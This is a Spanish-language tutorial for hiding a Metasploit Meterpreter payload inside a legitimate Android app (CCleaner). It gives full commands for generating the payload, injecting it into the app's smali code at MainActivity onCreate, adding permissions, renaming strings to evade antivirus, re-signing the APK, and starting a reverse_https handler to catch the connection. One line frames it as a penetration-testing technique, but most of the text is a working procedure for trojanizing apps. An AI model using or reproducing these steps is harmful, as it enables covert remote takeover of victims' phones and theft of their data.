Tutorial para modificar un APK añadiéndole un payload msf
Ya sabéis que un APK es un paquete de aplicación de Android (Android Aplication Package) y que es como un .exe de Windows que contiene la aplicación y el instalador en el mismo paquete.
Lo que vamos a ver a continuación es un pequeño tutorial de cómo desempaquetar un .apk, y luego modificarlo añadiendo un componente propio generado por metasploit: un meterpreter para Android. Una vez construyamos ese paquete lo instalaremos en un dispositivo Android consiguiendo que se ejecute la app legítima a la vez que nuestro payload dejando infectado el dispositivo Android.
Cuando nos encontremos ante una auditoría podremos aplicar esta técnica para mostrar las vulnerabilidades de las aplicaciones de Android y recordar que lo importante es no instalar nunca aplicaciones de fuentes poco fiables.
Espero que disfrutéis de este pequeño tutorial tanto como yo lo he disfrutado haciéndolo.
msfvenom -p android/meterpreter/Payload_Type LHOST=IP_Address LPORT=Incoming_Port -o meterpreter.apk
Luego nos descargamos una apk legítima como por ejemplo 'ccleaner' y decompilamos las dos con apktool:
apktool d -f -o payload meterpreter.apk
apktool d -f -o original ccleaner.apk
Copiamos la carpeta metasploit desde /payload/smali/com/metasploit a /original/smali/com/piriform
Nos vamos la carpeta ./original/ y editamos AndroidManifest.xml (con vim o el editor que queráis)
Buscamos las líneas siguientes que nos servirán como guía para encontrar la ruta a la aplicación principal que es la que nosotros queremos modificar:
Encima de éstas, encapsulándolas habrá una etiqueta
Nos fijamos en la propiedad Android:name= de esta etiqueta que tendrá una estructura similar a "com.piriform.ccleaner.ui.activity.MainActivity"
Por tanto, ya sabemos el fichero que tenemos que editar de nuestra app legitima (dentro de ./original/smali/), nos vamos a este fichero que será algo parecido a "com/piriform/ccleaner/ui/activity/MainActivity.smali" , es decir, por cada "." Será una "/".
Editamos este fichero .smali y buscamos la línea:
;->onCreate(Landroid/os/Bundle;)V
En la siguiente línea a esta ponemos:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
Donde le indicamos que invoque nuestra app que en este caso es el Payload de msf y después continúe con la ejecución normal de la app legitima
Ahora vamos a añadir más permisos a esta app de los que tiene, nos vamos dentro del directorio de la aplicación ./original/ y modificamos el AndoridManifest.xml
Añadiremos los permisos que consideremos, en mi caso puse estos:
Si lo que queremos es ponérselo mas difícil a un antivirus que tuviera el móvil/Tablet podemos hacer lo siguiente dentro del directorio (Esto es opcional) ./original/smali/com/metasploit
sed -i 's/metasploit/conf-schema/g' `rgrep -r metasploit ./* | awk '{print $1}' | cut -d':' -f1`
sed -i 's/Payload/init-conf' `rgrep -r Payload ./* | awk '{print $1}' | cut -d':' -f1`
sed -i 's/payload/init-conf' `rgrep -r payload ./* | awk '{print $1}' | cut -d':' -f1`
Después de eso debemos de cambiar el fichero Payload.smali por init-config.smali
también cambiamos el nombre de /original/smali/com/piriform/metasploit a /original/smali/com/piriform/conf-schema, además de todo eso deberemos de cambiar la línea
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
que hemos puesto antes con el nombre correspondiente:
invoke-static {p0}, Lcom/conf-scheme/stage/init-conf;->start(Landroid/content/Context;)V
yo he puesto estos nombres pero podéis poner lo que queráis, ahora vamos a recompilar otra vez la app, hacemos:
apktool b original/
A continuación comenzará a construir nuestra app.
Dentro del directorio ./original/dist estará nuestra apk construida/compilada.
Ahora toca firmar la apk para que esta sea "legitima" por tanto creamos en nuestro home el directorio .android
mkdir ~/.android
Generamos la key para firmar con:
keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname "CN=Android Debug,O=Android,C=US"
Para firmar con esa firma hacemos:
jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg SHA1withDSA /home/xarly/original/dist/ccleaner-v1-17-66.apk androiddebugkey
Ahora nos queda dejar a la escucha el metasploit con:
msfconsole
use exploit/multi/handler
set Payload android/meterpreter/reverse_https
set LHOST 192.168.1.135
set LPORT 8181
set ExitOnSession False
exploit -j -z
Ejecutamos la app en el móvil:
Deberíamos ver como se conecta nuestro meterpreter.
Nota: puede que nos pida que habilitemos las opciones de orígenes desconocidos.
Y bueno este es el final del manual , no voy a explicar el funcionamiento del metasploit ya que si lo conoces es el mismo de siempre y sino lo conoces pues te invito a que sigas los pasos y te aventures a realizar el Lab.
También dejo disponible la versión en PDF por si lo deseáis descargar:
Fuentes:
- http://null-byte.wonderhowto.com/how-to/embed-metasploit-payload-original-apk-file-part-2-do-manually-0167124/
- http://www.elandroidelibre.com/2016/02/modifica-y-clona-cualquier-aplicacion-con-apk-editor.html
- https://ibotpeaches.github.io/Apktool/documentation/